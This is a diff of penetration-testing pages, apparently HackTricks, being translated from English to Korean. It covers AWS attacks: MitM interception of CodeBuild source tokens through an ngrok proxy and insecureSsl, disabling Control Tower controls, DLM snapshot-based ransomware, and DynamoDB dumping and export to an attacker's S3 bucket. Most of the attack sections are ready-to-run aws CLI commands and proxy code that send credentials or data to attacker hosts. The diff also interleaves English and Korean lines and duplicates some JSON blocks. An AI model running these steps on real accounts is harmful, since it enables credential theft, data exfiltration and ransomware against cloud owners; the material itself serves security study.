For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**.
|
||||
이를 위해 **새 Codebuild 프로젝트를 생성**하거나 기존 프로젝트의 **환경**을 변경하여 **Docker 이미지**를 설정할 수 있습니다.
|
||||
|
||||
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**.
|
||||
사용할 수 있는 Docker 이미지는 [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)입니다. 이는 **env 변수 `https_proxy`**, **`http_proxy`** 및 **`SSL_CERT_FILE`**을 설정하는 매우 기본적인 Docker 이미지입니다. 이를 통해 **`https_proxy`** 및 **`http_proxy`**에 지정된 호스트의 대부분의 트래픽을 가로챌 수 있으며, **`SSL_CERT_FILE`**에 지정된 SSL CERT를 신뢰할 수 있습니다.
|
||||
|
||||
1. **Create & Upload your own Docker MitM image**
|
||||
- Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**.
|
||||
- **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint.
|
||||
- You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host
|
||||
- Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...)
|
||||
2. **Set the environment**
|
||||
- Create a **new Codebuild project** or **modify** the environment of an existing one.
|
||||
- Set the project to use the **previously generated Docker image**
|
||||
1. **자신의 Docker MitM 이미지를 생성하고 업로드하기**
|
||||
- 리포지토리의 지침에 따라 프록시 IP 주소를 설정하고 SSL 인증서를 설정한 후 **도커 이미지를 빌드**합니다.
|
||||
- 메타데이터 엔드포인트에 대한 요청을 가로채지 않도록 **`http_proxy`를 설정하지 마십시오**.
|
||||
- **`ngrok`**을 사용하여 `ngrok tcp 4444`로 프록시를 호스트에 설정할 수 있습니다.
|
||||
- Docker 이미지가 빌드되면 **공개 리포지토리에 업로드**합니다 (Dockerhub, ECR...).
|
||||
2. **환경 설정**
|
||||
- **새 Codebuild 프로젝트를 생성**하거나 기존 프로젝트의 환경을 **수정**합니다.
|
||||
- 프로젝트를 **이전에 생성된 Docker 이미지**를 사용하도록 설정합니다.
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Set the MitM proxy in your host**
|
||||
|
||||
- As indicated in the **Github repo** you could use something like:
|
||||
3. **호스트에서 MitM 프록시 설정하기**
|
||||
|
||||
- **Github 리포지토리**에 명시된 대로 다음과 같은 것을 사용할 수 있습니다:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
|
||||
> [!TIP]
|
||||
> The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work.
|
||||
> 사용된 **mitmproxy 버전은 9.0.1**이며, 버전 10에서는 작동하지 않을 수 있다고 보고되었습니다.
|
||||
|
||||
4. **Run the build & capture the credentials**
|
||||
4. **빌드를 실행하고 자격 증명을 캡처합니다**
|
||||
|
||||
- You can see the token in the **Authorization** header:
|
||||
- **Authorization** 헤더에서 토큰을 볼 수 있습니다:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This could also be done from the aws cli with something like
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이것은 aws cli를 사용하여 다음과 같이 수행할 수도 있습니다.
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
|
||||
## With /tmp/buildspec.json
|
||||
{
|
||||
"name": "my-demo-project",
|
||||
"source": {
|
||||
"type": "GITHUB",
|
||||
"location": "https://github.com/uname/repo",
|
||||
"buildspec": "buildspec.yml"
|
||||
},
|
||||
"artifacts": {
|
||||
"type": "NO_ARTIFACTS"
|
||||
},
|
||||
"environment": {
|
||||
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
|
||||
"image": "docker.io/carlospolop/docker-mitm:v12",
|
||||
"computeType": "BUILD_GENERAL1_SMALL",
|
||||
"imagePullCredentialsType": "CODEBUILD"
|
||||
}
|
||||
"name": "my-demo-project",
|
||||
"source": {
|
||||
"type": "GITHUB",
|
||||
"location": "https://github.com/uname/repo",
|
||||
"buildspec": "buildspec.yml"
|
||||
},
|
||||
"artifacts": {
|
||||
"type": "NO_ARTIFACTS"
|
||||
},
|
||||
"environment": {
|
||||
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
|
||||
"image": "docker.io/carlospolop/docker-mitm:v12",
|
||||
"computeType": "BUILD_GENERAL1_SMALL",
|
||||
"imagePullCredentialsType": "CODEBUILD"
|
||||
}
|
||||
}
|
||||
|
||||
## Json
|
||||
@@ -76,117 +71,102 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
# Start the build
|
||||
aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
|
||||
### Via insecureSSL
|
||||
|
||||
**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
|
||||
Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform.
|
||||
|
||||
- First you need to enumerate the current configuration with something like:
|
||||
**Codebuild** 프로젝트에는 웹에서 숨겨져 있는 **`insecureSsl`**이라는 설정이 있으며, API를 통해서만 변경할 수 있습니다.\
|
||||
이 설정을 활성화하면 Codebuild가 플랫폼에서 제공하는 **인증서를 확인하지 않고** 리포지토리에 연결할 수 있습니다.
|
||||
|
||||
- 먼저 다음과 같은 방법으로 현재 구성을 열거해야 합니다:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
|
||||
- Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration).
|
||||
- Moreover, add also the env variables **http_proxy** and **https_proxy** pointing to your tcp ngrok like:
|
||||
|
||||
- 그러면 수집한 정보를 사용하여 프로젝트 설정 **`insecureSsl`**을 **`True`**로 업데이트할 수 있습니다. 다음은 제가 프로젝트를 업데이트한 예시로, 끝에 **`insecureSsl=True`**가 있는 것을 주목하세요 (수집한 구성에서 변경해야 할 유일한 사항입니다).
|
||||
- 또한, tcp ngrok을 가리키는 env 변수 **http_proxy**와 **https_proxy**도 추가하세요:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
"type": "GITHUB",
|
||||
"location": "https://github.com/carlospolop/404checker",
|
||||
"gitCloneDepth": 1,
|
||||
"gitSubmodulesConfig": {
|
||||
"fetchSubmodules": false
|
||||
},
|
||||
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
|
||||
"auth": {
|
||||
"type": "CODECONNECTIONS",
|
||||
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
|
||||
},
|
||||
"reportBuildStatus": false,
|
||||
"insecureSsl": true
|
||||
}' \
|
||||
--environment '{
|
||||
"type": "LINUX_CONTAINER",
|
||||
"image": "aws/codebuild/standard:5.0",
|
||||
"computeType": "BUILD_GENERAL1_SMALL",
|
||||
"environmentVariables": [
|
||||
{
|
||||
"name": "http_proxy",
|
||||
"value": "http://2.tcp.eu.ngrok.io:15027"
|
||||
},
|
||||
{
|
||||
"name": "https_proxy",
|
||||
"value": "http://2.tcp.eu.ngrok.io:15027"
|
||||
}
|
||||
]
|
||||
}'
|
||||
--source '{
|
||||
"type": "GITHUB",
|
||||
"location": "https://github.com/carlospolop/404checker",
|
||||
"gitCloneDepth": 1,
|
||||
"gitSubmodulesConfig": {
|
||||
"fetchSubmodules": false
|
||||
},
|
||||
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
|
||||
"auth": {
|
||||
"type": "CODECONNECTIONS",
|
||||
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
|
||||
},
|
||||
"reportBuildStatus": false,
|
||||
"insecureSsl": true
|
||||
}' \
|
||||
--environment '{
|
||||
"type": "LINUX_CONTAINER",
|
||||
"image": "aws/codebuild/standard:5.0",
|
||||
"computeType": "BUILD_GENERAL1_SMALL",
|
||||
"environmentVariables": [
|
||||
{
|
||||
"name": "http_proxy",
|
||||
"value": "http://2.tcp.eu.ngrok.io:15027"
|
||||
},
|
||||
{
|
||||
"name": "https_proxy",
|
||||
"value": "http://2.tcp.eu.ngrok.io:15027"
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
|
||||
|
||||
- 그런 다음, 프록시 변수(http_proxy 및 https_proxy)로 지정된 포트에서 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)의 기본 예제를 실행합니다.
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
mitm = MITM(
|
||||
host="127.0.0.1",
|
||||
port=4444,
|
||||
protocols=[protocol.HTTP],
|
||||
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
|
||||
certificate_authority = crypto.CertificateAuthority()
|
||||
host="127.0.0.1",
|
||||
port=4444,
|
||||
protocols=[protocol.HTTP],
|
||||
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
|
||||
certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
|
||||
- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
|
||||
- 마지막으로 **Build the project**를 클릭하면 **자격 증명**이 **명확한 텍스트**(base64)로 mitm 포트에 **전송됩니다**:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~Via HTTP protocol~~
|
||||
### ~~HTTP 프로토콜을 통해~~
|
||||
|
||||
> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
|
||||
> [!TIP] > **이 취약점은 2023년 2월 20일 주 중에 AWS에 의해 수정되었습니다(금요일인 것 같습니다). 따라서 공격자는 더 이상 이를 악용할 수 없습니다 :)**
|
||||
|
||||
An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**.
|
||||
**CodeBuild에서 권한이 상승된 공격자는 구성된 Github/Bitbucket 토큰을 유출할 수 있습니다**. 또는 권한이 OAuth를 통해 구성된 경우, **코드에 접근하는 데 사용되는 임시 OAuth 토큰**을 유출할 수 있습니다.
|
||||
|
||||
- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`).
|
||||
- 공격자는 **http_proxy** 및 **https_proxy** 환경 변수를 자신의 머신을 가리키도록 CodeBuild 프로젝트에 추가할 수 있습니다(예: `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
|
||||
|
||||
- 그런 다음, github 레포지토리의 URL을 HTTPS 대신 HTTP를 사용하도록 변경합니다. 예: `http://github.com/carlospolop-forks/TestActions`
|
||||
- 그런 다음, 프록시 변수(http_proxy 및 https_proxy)가 가리키는 포트에서 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)의 기본 예제를 실행합니다.
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
mitm = MITM(
|
||||
host="0.0.0.0",
|
||||
port=4444,
|
||||
protocols=[protocol.HTTP],
|
||||
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
|
||||
certificate_authority = crypto.CertificateAuthority()
|
||||
host="0.0.0.0",
|
||||
port=4444,
|
||||
protocols=[protocol.HTTP],
|
||||
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
|
||||
certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
|
||||
- Next, click on **Build the project** or start the build from command line:
|
||||
|
||||
- 다음으로 **프로젝트 빌드**를 클릭하거나 명령줄에서 빌드를 시작합니다:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
|
||||
- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
|
||||
- 마지막으로, **자격 증명**이 **명확한 텍스트**(base64)로 mitm 포트에 전송됩니다:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly.
|
||||
> 이제 공격자는 자신의 머신에서 토큰을 사용하여 모든 권한을 나열하고 CodeBuild 서비스를 직접 사용하는 것보다 더 쉽게 (남용)할 수 있습니다.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -8,17 +8,11 @@
|
||||
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Enable / Disable Controls
|
||||
|
||||
To further exploit an account, you might need to disable/enable Control Tower controls:
|
||||
### 제어 활성화 / 비활성화
|
||||
|
||||
계정을 추가로 악용하기 위해서는 Control Tower 제어를 비활성화/활성화해야 할 수 있습니다:
|
||||
```bash
|
||||
aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,98 +2,90 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Data Lifecycle Manger (DLM)
|
||||
## 데이터 라이프사이클 관리자 (DLM)
|
||||
|
||||
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
|
||||
|
||||
A ransomware attack can be executed by encrypting as many EBS volumes as possible and then erasing the current EC2 instances, EBS volumes, and snapshots. To automate this malicious activity, one can employ Amazon DLM, encrypting the snapshots with a KMS key from another AWS account and transferring the encrypted snapshots to a different account. Alternatively, they might transfer snapshots without encryption to an account they manage and then encrypt them there. Although it's not straightforward to encrypt existing EBS volumes or snapshots directly, it's possible to do so by creating a new volume or snapshot.
|
||||
랜섬웨어 공격은 가능한 한 많은 EBS 볼륨을 암호화한 다음 현재 EC2 인스턴스, EBS 볼륨 및 스냅샷을 삭제하여 실행할 수 있습니다. 이러한 악의적인 활동을 자동화하기 위해 Amazon DLM을 사용하여 다른 AWS 계정의 KMS 키로 스냅샷을 암호화하고 암호화된 스냅샷을 다른 계정으로 전송할 수 있습니다. 또는 암호화 없이 스냅샷을 관리하는 계정으로 전송한 다음 그곳에서 암호화할 수 있습니다. 기존 EBS 볼륨이나 스냅샷을 직접 암호화하는 것은 간단하지 않지만, 새로운 볼륨이나 스냅샷을 생성하여 그렇게 할 수 있습니다.
|
||||
|
||||
Firstly, one will use a command to gather information on volumes, such as instance ID, volume ID, encryption status, attachment status, and volume type.
|
||||
먼저, 인스턴스 ID, 볼륨 ID, 암호화 상태, 연결 상태 및 볼륨 유형과 같은 볼륨에 대한 정보를 수집하는 명령을 사용할 것입니다.
|
||||
|
||||
`aws ec2 describe-volumes`
|
||||
|
||||
Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs.
|
||||
|
||||
둘째, 라이프사이클 정책을 생성할 것입니다. 이 명령은 DLM API를 사용하여 지정된 시간에 지정된 볼륨의 일일 스냅샷을 자동으로 생성하는 라이프사이클 정책을 설정합니다. 또한 스냅샷에 특정 태그를 적용하고 볼륨에서 스냅샷으로 태그를 복사합니다. policyDetails.json 파일에는 대상 태그, 일정, 암호화를 위한 선택적 KMS 키의 ARN, 스냅샷 공유를 위한 대상 계정과 같은 라이프사이클 정책의 세부 정보가 포함되어 있으며, 이는 피해자의 CloudTrail 로그에 기록됩니다.
|
||||
```bash
|
||||
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
|
||||
```
|
||||
|
||||
A template for the policy document can be seen here:
|
||||
|
||||
정책 문서의 템플릿은 여기에서 볼 수 있습니다:
|
||||
```bash
|
||||
{
|
||||
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
|
||||
"ResourceTypes": [
|
||||
"VOLUME"
|
||||
],
|
||||
"TargetTags": [
|
||||
{
|
||||
"Key": "ExampleKey",
|
||||
"Value": "ExampleValue"
|
||||
}
|
||||
],
|
||||
"Schedules": [
|
||||
{
|
||||
"Name": "DailySnapshots",
|
||||
"CopyTags": true,
|
||||
"TagsToAdd": [
|
||||
{
|
||||
"Key": "SnapshotCreator",
|
||||
"Value": "DLM"
|
||||
}
|
||||
],
|
||||
"VariableTags": [
|
||||
{
|
||||
"Key": "CostCenter",
|
||||
"Value": "Finance"
|
||||
}
|
||||
],
|
||||
"CreateRule": {
|
||||
"Interval": 24,
|
||||
"IntervalUnit": "HOURS",
|
||||
"Times": [
|
||||
"03:00"
|
||||
]
|
||||
},
|
||||
"RetainRule": {
|
||||
"Count": 14
|
||||
},
|
||||
"FastRestoreRule": {
|
||||
"Count": 2,
|
||||
"Interval": 12,
|
||||
"IntervalUnit": "HOURS"
|
||||
},
|
||||
"CrossRegionCopyRules": [
|
||||
{
|
||||
"TargetRegion": "us-west-2",
|
||||
"Encrypted": true,
|
||||
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
|
||||
"CopyTags": true,
|
||||
"RetainRule": {
|
||||
"Interval": 1,
|
||||
"IntervalUnit": "DAYS"
|
||||
}
|
||||
}
|
||||
],
|
||||
"ShareRules": [
|
||||
{
|
||||
"TargetAccounts": [
|
||||
"123456789012"
|
||||
],
|
||||
"UnshareInterval": 30,
|
||||
"UnshareIntervalUnit": "DAYS"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"Parameters": {
|
||||
"ExcludeBootVolume": false
|
||||
}
|
||||
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
|
||||
"ResourceTypes": [
|
||||
"VOLUME"
|
||||
],
|
||||
"TargetTags": [
|
||||
{
|
||||
"Key": "ExampleKey",
|
||||
"Value": "ExampleValue"
|
||||
}
|
||||
],
|
||||
"Schedules": [
|
||||
{
|
||||
"Name": "DailySnapshots",
|
||||
"CopyTags": true,
|
||||
"TagsToAdd": [
|
||||
{
|
||||
"Key": "SnapshotCreator",
|
||||
"Value": "DLM"
|
||||
}
|
||||
],
|
||||
"VariableTags": [
|
||||
{
|
||||
"Key": "CostCenter",
|
||||
"Value": "Finance"
|
||||
}
|
||||
],
|
||||
"CreateRule": {
|
||||
"Interval": 24,
|
||||
"IntervalUnit": "HOURS",
|
||||
"Times": [
|
||||
"03:00"
|
||||
]
|
||||
},
|
||||
"RetainRule": {
|
||||
"Count": 14
|
||||
},
|
||||
"FastRestoreRule": {
|
||||
"Count": 2,
|
||||
"Interval": 12,
|
||||
"IntervalUnit": "HOURS"
|
||||
},
|
||||
"CrossRegionCopyRules": [
|
||||
{
|
||||
"TargetRegion": "us-west-2",
|
||||
"Encrypted": true,
|
||||
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
|
||||
"CopyTags": true,
|
||||
"RetainRule": {
|
||||
"Interval": 1,
|
||||
"IntervalUnit": "DAYS"
|
||||
}
|
||||
}
|
||||
],
|
||||
"ShareRules": [
|
||||
{
|
||||
"TargetAccounts": [
|
||||
"123456789012"
|
||||
],
|
||||
"UnshareInterval": 30,
|
||||
"UnshareIntervalUnit": "DAYS"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"Parameters": {
|
||||
"ExcludeBootVolume": false
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## DynamoDB
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
@@ -12,342 +12,293 @@ For more information check:
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`).
|
||||
이 권한을 가진 공격자는 **기본 키를 통해 테이블에서 항목을 가져올 수 있습니다** (테이블의 모든 데이터를 요청할 수는 없습니다). 이는 기본 키를 알아야 함을 의미합니다 (테이블 메타데이터(`describe-table`)를 통해 이를 얻을 수 있습니다).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
|
||||
```bash
|
||||
aws dynamodb batch-get-item --request-items file:///tmp/a.json
|
||||
|
||||
// With a.json
|
||||
{
|
||||
"ProductCatalog" : { // This is the table name
|
||||
"Keys": [
|
||||
{
|
||||
"Id" : { // Primary keys name
|
||||
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
"ProductCatalog" : { // This is the table name
|
||||
"Keys": [
|
||||
{
|
||||
"Id" : { // Primary keys name
|
||||
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="inline" }}
|
||||
|
||||
```bash
|
||||
aws dynamodb batch-get-item \
|
||||
--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
|
||||
--region <region>
|
||||
--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the table
|
||||
**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 권한 상승
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve:
|
||||
|
||||
**이전 권한과 유사하게** 이 권한은 잠재적인 공격자가 검색할 항목의 기본 키를 제공받아 단일 테이블에서 값을 읽을 수 있도록 허용합니다:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
// With a.json
|
||||
{
|
||||
"Id" : {
|
||||
"N": "205"
|
||||
"N": "205"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
With this permission it's also possible to use the **`transact-get-items`** method like:
|
||||
|
||||
이 권한으로 **`transact-get-items`** 메서드를 다음과 같이 사용할 수 있습니다:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
--transact-items file:///tmp/a.json
|
||||
|
||||
// With a.json
|
||||
[
|
||||
{
|
||||
"Get": {
|
||||
"Key": {
|
||||
"Id": {"N": "205"}
|
||||
},
|
||||
"TableName": "ProductCatalog"
|
||||
}
|
||||
}
|
||||
{
|
||||
"Get": {
|
||||
"Key": {
|
||||
"Id": {"N": "205"}
|
||||
},
|
||||
"TableName": "ProductCatalog"
|
||||
}
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the table
|
||||
**잠재적 영향:** 테이블에서 민감한 정보를 찾음으로써 간접적인 권한 상승
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request.
|
||||
**이전 권한과 유사하게** 이 권한은 잠재적인 공격자가 검색할 항목의 기본 키를 제공받아 단 1개의 테이블에서 값을 읽을 수 있도록 허용합니다. [비교의 하위 집합](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)을 사용할 수 있지만, 기본 키와 함께 허용되는 유일한 비교는 "EQ"이므로 요청에서 전체 DB를 가져오기 위해 비교를 사용할 수 없습니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
|
||||
```bash
|
||||
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
|
||||
|
||||
// With a.json
|
||||
{
|
||||
// With a.json
|
||||
{
|
||||
"Id" : {
|
||||
"ComparisonOperator":"EQ",
|
||||
"AttributeValueList": [ {"N": "205"} ]
|
||||
}
|
||||
"ComparisonOperator":"EQ",
|
||||
"AttributeValueList": [ {"N": "205"} ]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="inline" }}
|
||||
|
||||
```bash
|
||||
aws dynamodb query \
|
||||
--table-name TargetTable \
|
||||
--key-condition-expression "AttributeName = :value" \
|
||||
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
|
||||
--region <region>
|
||||
--table-name TargetTable \
|
||||
--key-condition-expression "AttributeName = :value" \
|
||||
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the table
|
||||
**Potential Impact:** 테이블에서 민감한 정보를 찾아 간접적인 권한 상승
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
You can use this permission to **dump the entire table easily**.
|
||||
|
||||
이 권한을 사용하여 **테이블 전체를 쉽게 덤프할 수 있습니다**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the table
|
||||
**잠재적 영향:** 테이블에서 민감한 정보를 찾음으로써 간접적인 권한 상승
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
You can use this permission to **dump the entire table easily**.
|
||||
|
||||
이 권한을 사용하여 **전체 테이블을 쉽게 덤프할 수 있습니다**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
|
||||
This permission also allow to perform `batch-execute-statement` like:
|
||||
|
||||
이 권한은 다음과 같이 `batch-execute-statement`를 수행할 수 있도록 허용합니다:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
하지만 기본 키와 값을 지정해야 하므로 그렇게 유용하지 않습니다.
|
||||
|
||||
but you need to specify the primary key with a value, so it isn't that useful.
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the table
|
||||
**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 권한 상승
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
This permission will allow an attacker to **export the whole table to a S3 bucket** of his election:
|
||||
|
||||
이 권한은 공격자가 **전체 테이블을 선택한 S3 버킷으로 내보낼 수** 있게 합니다:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
--s3-bucket <attacker_s3_bucket> \
|
||||
--s3-prefix <optional_prefix> \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
--s3-bucket <attacker_s3_bucket> \
|
||||
--s3-prefix <optional_prefix> \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with:
|
||||
|
||||
Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with:
|
||||
이 기능이 작동하려면 테이블에 시점 복구가 활성화되어 있어야 합니다. 테이블에 활성화되어 있는지 확인하려면 다음을 사용하세요:
